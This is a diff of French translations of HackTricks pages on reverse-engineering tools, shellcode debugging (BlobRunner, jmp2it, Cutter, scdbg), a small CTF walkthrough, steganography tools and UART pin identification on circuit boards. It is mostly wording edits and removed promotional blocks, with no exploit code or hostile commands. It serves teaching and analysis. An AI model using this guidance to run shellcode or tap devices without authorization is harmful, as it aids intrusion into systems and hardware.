## Outils de Reversing Basés sur ImGui
|
## Outils de Reversing Basés sur ImGui
|
||||||
|
|
||||||
Logiciel :
|
Logiciel :
|
||||||
|
@ -35,7 +27,7 @@ En ligne :
|
||||||
|
|
||||||
* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** de wasm (binaire) à wat (texte clair)
|
* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** de wasm (binaire) à wat (texte clair)
|
||||||
* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** de wat à wasm
|
* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** de wat à wasm
|
||||||
* vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler
|
* Vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler
|
||||||
|
|
||||||
Logiciel :
|
Logiciel :
|
||||||
|
|
||||||
|
@ -101,7 +93,7 @@ Ensuite, enregistrez le nouveau fichier via _**Fichier >> Enregistrer le module.
|
||||||
|
|
||||||
C'est nécessaire car si vous ne le faites pas, à **l'exécution**, plusieurs **optimisations** seront appliquées au code et il pourrait être possible que lors du débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
|
C'est nécessaire car si vous ne le faites pas, à **l'exécution**, plusieurs **optimisations** seront appliquées au code et il pourrait être possible que lors du débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
|
||||||
|
|
||||||
Ensuite, si votre application .NET est **exécutée** par **IIS**, vous pouvez la **redémarrer** avec :
|
Ensuite, si votre application .NET est **exécutée** par **IIS**, vous pouvez **la redémarrer** avec :
|
||||||
```
|
```
|
||||||
iisreset /noforce
|
iisreset /noforce
|
||||||
```
|
```
|
||||||
|
@ -155,13 +147,13 @@ Mais, comment pouvez-vous accéder au code de la DLL qui a été chargée ? En u
|
||||||
* **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe)
|
* **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe)
|
||||||
* **Changer la ligne de commande** (_Fichier --> Changer la ligne de commande_) et définir le chemin de la dll et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
* **Changer la ligne de commande** (_Fichier --> Changer la ligne de commande_) et définir le chemin de la dll et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||||
* Changez _Options --> Paramètres_ et sélectionnez "**Entrée DLL**".
|
* Changez _Options --> Paramètres_ et sélectionnez "**Entrée DLL**".
|
||||||
* Ensuite, **démarrez l'exécution**, le débogueur s'arrêtera à chaque entrée principale de dll, à un moment donné vous **vous arrêterez dans l'entrée de votre dll**. À partir de là, il suffit de rechercher les points où vous souhaitez mettre un point d'arrêt.
|
* Ensuite, **démarrez l'exécution**, le débogueur s'arrêtera à chaque entrée principale de DLL, à un moment donné, vous **vous arrêterez dans l'entrée DLL de votre DLL**. À partir de là, il suffit de rechercher les points où vous souhaitez mettre un point d'arrêt.
|
||||||
|
|
||||||
Remarquez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant **en haut de la fenêtre win64dbg** :
|
Remarquez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant en **haut de la fenêtre win64dbg** :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (842).png>)
|
![](<../../.gitbook/assets/image (842).png>)
|
||||||
|
|
||||||
Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la dll que vous souhaitez déboguer.
|
Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la DLL que vous souhaitez déboguer.
|
||||||
|
|
||||||
## Applications GUI / Jeux vidéo
|
## Applications GUI / Jeux vidéo
|
||||||
|
|
||||||
|
@ -171,9 +163,9 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
|
||||||
[cheat-engine.md](cheat-engine.md)
|
[cheat-engine.md](cheat-engine.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) est un outil de rétro-ingénierie/front-end pour le débogueur du projet GNU (GDB), axé sur les jeux. Cependant, il peut être utilisé pour toute tâche liée à la rétro-ingénierie.
|
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) est un outil de front-end/reverse engineering pour le débogueur du projet GNU (GDB), axé sur les jeux. Cependant, il peut être utilisé pour toute tâche liée à l'ingénierie inverse.
|
||||||
|
|
||||||
[**Decompiler Explorer**](https://dogbolt.org/) est une interface web pour plusieurs décompilateurs. Ce service web vous permet de comparer la sortie de différents décompilateurs sur de petits exécutables.
|
[**Decompiler Explorer**](https://dogbolt.org/) est un front-end web pour un certain nombre de décompilateurs. Ce service web vous permet de comparer la sortie de différents décompilateurs sur de petits exécutables.
|
||||||
|
|
||||||
## ARM & MIPS
|
## ARM & MIPS
|
||||||
|
|
||||||
|
@ -184,7 +176,7 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
|
||||||
### Débogage d'un shellcode avec blobrunner
|
### Débogage d'un shellcode avec blobrunner
|
||||||
|
|
||||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace de mémoire, vous **indiquer** l'**adresse mémoire** où le shellcode a été alloué et va **arrêter** l'exécution.\
|
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace de mémoire, vous **indiquer** l'**adresse mémoire** où le shellcode a été alloué et va **arrêter** l'exécution.\
|
||||||
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette façon, vous déboguerez le shellcode.
|
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette manière, vous déboguerez le shellcode.
|
||||||
|
|
||||||
La page des versions github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
La page des versions github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||||
Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**.
|
Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**.
|
||||||
|
@ -195,7 +187,7 @@ Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lie
|
||||||
|
|
||||||
### Débogage d'un shellcode avec jmp2it
|
### Débogage d'un shellcode avec jmp2it
|
||||||
|
|
||||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace de mémoire et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **jouer démarrer attendre 2-5 secondes et appuyer sur arrêter** et vous vous retrouverez dans la **boucle éternelle**. Sautez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et enfin vous vous retrouverez à exécuter le shellcode.
|
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace de mémoire et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **jouer démarrer attendre 2-5 secondes et appuyer sur arrêter** et vous vous retrouverez dans la **boucle éternelle**. Sautez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et enfin, vous vous retrouverez à exécuter le shellcode.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (509).png>)
|
![](<../../.gitbook/assets/image (509).png>)
|
||||||
|
|
||||||
|
@ -205,7 +197,7 @@ Vous pouvez télécharger une version compilée de [jmp2it sur la page des versi
|
||||||
|
|
||||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. En utilisant Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement.
|
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. En utilisant Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement.
|
||||||
|
|
||||||
Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais quand je l'ai ouvert en tant que shellcode, il ne l'a pas fait :
|
Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais quand je l'ai ouvert en tant que shellcode, ce n'était pas le cas :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (562).png>)
|
![](<../../.gitbook/assets/image (562).png>)
|
||||||
|
|
||||||
|
@ -239,7 +231,7 @@ L'option **Create Dump** va dumper le shellcode final si des modifications sont
|
||||||
|
|
||||||
### Désassemblage avec CyberChef
|
### Désassemblage avec CyberChef
|
||||||
|
|
||||||
Téléchargez votre fichier shellcode comme entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||||
|
|
||||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||||
|
|
||||||
|
@ -393,7 +385,7 @@ Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endro
|
||||||
* Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
* Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||||
* Dans ce cas, la var **`DAT_030000d8`** est comparée avec 0xf3 et si la valeur est la même, un certain code est exécuté.
|
* Dans ce cas, la var **`DAT_030000d8`** est comparée avec 0xf3 et si la valeur est la même, un certain code est exécuté.
|
||||||
* Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
|
* Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
|
||||||
**S**i moins de 8, quelque chose qui implique **d'ajouter** des valeurs à \*\*`DAT_030000d8` \*\* est fait (en gros, cela ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
**Si** moins de 8, quelque chose qui implique **d'ajouter** des valeurs à \*\*`DAT_030000d8` \*\* est fait (en gros, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||||
|
|
||||||
Donc, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 dont l'addition résultante est 0xf3.**
|
Donc, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 dont l'addition résultante est 0xf3.**
|
||||||
|
|
||||||
|
@ -408,23 +400,17 @@ Donc, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuy
|
||||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Déobfuscation binaire)
|
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Déobfuscation binaire)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,20 @@
|
||||||
# Stego Tricks
|
# Stego Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **Extraction de données à partir de fichiers**
|
## **Extraction de données à partir de fichiers**
|
||||||
|
|
||||||
### **Binwalk**
|
### **Binwalk**
|
||||||
|
@ -123,7 +115,7 @@ zsteg se spécialise dans la découverte de données cachées dans les fichiers
|
||||||
|
|
||||||
**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique le brute forcing LSB parmi d'autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter tous les contrôles.
|
**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique le brute forcing LSB parmi d'autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter tous les contrôles.
|
||||||
|
|
||||||
**Stegsolve** applique divers filtres de couleur pour révéler des textes ou messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
**Stegsolve** applique divers filtres de couleur pour révéler des textes ou des messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||||
|
|
||||||
### **FFT pour la détection de contenu caché**
|
### **FFT pour la détection de contenu caché**
|
||||||
|
|
||||||
|
@ -212,15 +204,9 @@ Pour traduire le Braille, le [Branah Braille Translator](https://www.branah.com/
|
||||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,21 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Informations de base
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
UART est un protocole série, ce qui signifie qu'il transfère des données entre les composants un bit à la fois. En revanche, les protocoles de communication parallèle transmettent des données simultanément par plusieurs canaux. Les protocoles série courants incluent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB.
|
UART est un protocole série, ce qui signifie qu'il transfère des données entre les composants un bit à la fois. En revanche, les protocoles de communication parallèle transmettent des données simultanément par plusieurs canaux. Les protocoles série courants incluent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB.
|
||||||
|
|
||||||
|
@ -45,32 +32,32 @@ Outils matériels pour communiquer avec l'UART :
|
||||||
* Adaptateurs avec les puces CP2102 ou PL2303
|
* Adaptateurs avec les puces CP2102 ou PL2303
|
||||||
* Outil polyvalent tel que : Bus Pirate, l'Adafruit FT232H, le Shikra ou le Attify Badge
|
* Outil polyvalent tel que : Bus Pirate, l'Adafruit FT232H, le Shikra ou le Attify Badge
|
||||||
|
|
||||||
### Identifying UART Ports
|
### Identification des ports UART
|
||||||
|
|
||||||
L'UART a 4 ports : **TX**(Transmettre), **RX**(Recevoir), **Vcc**(Tension), et **GND**(Masse). Vous pourriez être en mesure de trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a aucune indication, vous devrez peut-être essayer de les trouver vous-même en utilisant un **multimètre** ou un **analyseur logique**.
|
L'UART a 4 ports : **TX**(Transmettre), **RX**(Recevoir), **Vcc**(Tension), et **GND**(Masse). Vous pourriez être en mesure de trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a aucune indication, vous devrez peut-être essayer de les trouver vous-même en utilisant un **multimètre** ou un **analyseur logique**.
|
||||||
|
|
||||||
Avec un **multimètre** et l'appareil éteint :
|
Avec un **multimètre** et l'appareil éteint :
|
||||||
|
|
||||||
* Pour identifier la broche **GND**, utilisez le mode **Test de continuité**, placez la sonde noire sur la masse et testez avec la rouge jusqu'à ce que vous entendiez un son du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, donc vous avez peut-être trouvé ou non celle appartenant à l'UART.
|
* Pour identifier la broche **GND**, utilisez le mode **Test de continuité**, placez la sonde noire sur la masse et testez avec la sonde rouge jusqu'à ce que vous entendiez un son du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, donc vous avez peut-être trouvé ou non celle appartenant à l'UART.
|
||||||
* Pour identifier le port **VCC**, réglez le **mode de tension DC** et configurez-le à 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports.
|
* Pour identifier le port **VCC**, réglez le mode **tension DC** et configurez-le à 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports.
|
||||||
* Pour identifier le port **TX**, **mode de tension DC** jusqu'à 20 V de tension, sonde noire sur la masse, et sonde rouge sur la broche, puis allumez l'appareil. Si vous constatez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez probablement trouvé le port TX. Cela est dû au fait qu'à l'allumage, il envoie des données de débogage.
|
* Pour identifier le port **TX**, mode **tension DC** jusqu'à 20 V de tension, sonde noire sur la masse, et sonde rouge sur la broche, puis allumez l'appareil. Si vous constatez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez probablement trouvé le port TX. Cela est dû au fait qu'à l'allumage, il envoie des données de débogage.
|
||||||
* Le port **RX** serait le plus proche des autres 3, il a la fluctuation de tension la plus faible et la valeur globale la plus basse de toutes les broches UART.
|
* Le port **RX** serait le plus proche des autres 3, il a la fluctuation de tension la plus faible et la valeur globale la plus basse de toutes les broches UART.
|
||||||
|
|
||||||
Vous pouvez confondre les ports TX et RX et rien ne se passerait, mais si vous confondez le port GND et le port VCC, vous pourriez endommager le circuit.
|
Vous pouvez confondre les ports TX et RX et rien ne se passerait, mais si vous confondez le port GND et le port VCC, vous pourriez endommager le circuit.
|
||||||
|
|
||||||
Dans certains appareils cibles, le port UART est désactivé par le fabricant en désactivant RX ou TX ou même les deux. Dans ce cas, il peut être utile de tracer les connexions sur le circuit imprimé et de trouver un point de rupture. Un indice fort pour confirmer l'absence de détection de l'UART et la rupture du circuit est de vérifier la garantie de l'appareil. Si l'appareil a été expédié avec une garantie, le fabricant laisse des interfaces de débogage (dans ce cas, UART) et donc, doit avoir déconnecté l'UART et le reconnecter lors du débogage. Ces broches de rupture peuvent être connectées par soudure ou fils de cavalier.
|
Dans certains appareils cibles, le port UART est désactivé par le fabricant en désactivant RX ou TX ou même les deux. Dans ce cas, il peut être utile de tracer les connexions sur le circuit imprimé et de trouver un point de rupture. Un indice fort pour confirmer l'absence de détection de l'UART et la rupture du circuit est de vérifier la garantie de l'appareil. Si l'appareil a été expédié avec une garantie, le fabricant laisse des interfaces de débogage (dans ce cas, UART) et donc, doit avoir déconnecté l'UART et le reconnecter lors du débogage. Ces broches de rupture peuvent être connectées par soudure ou fils de cavalier.
|
||||||
|
|
||||||
### Identifying the UART Baud Rate
|
### Identification du débit en bauds UART
|
||||||
|
|
||||||
La façon la plus simple d'identifier le bon débit en bauds est de regarder la **sortie de la broche TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit en bauds suivant possible jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB-série ou un appareil polyvalent comme Bus Pirate pour cela, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits en bauds les plus courants sont 9600, 38400, 19200, 57600 et 115200.
|
La manière la plus simple d'identifier le bon débit en bauds est de regarder la **sortie de la broche TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit en bauds suivant possible jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB-série ou un appareil polyvalent comme Bus Pirate pour cela, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits en bauds les plus courants sont 9600, 38400, 19200, 57600 et 115200.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Il est important de noter que dans ce protocole, vous devez connecter le TX d'un appareil au RX de l'autre !
|
Il est important de noter que dans ce protocole, vous devez connecter le TX d'un appareil au RX de l'autre !
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## CP210X UART to TTY Adapter
|
## Adaptateur CP210X UART à TTY
|
||||||
|
|
||||||
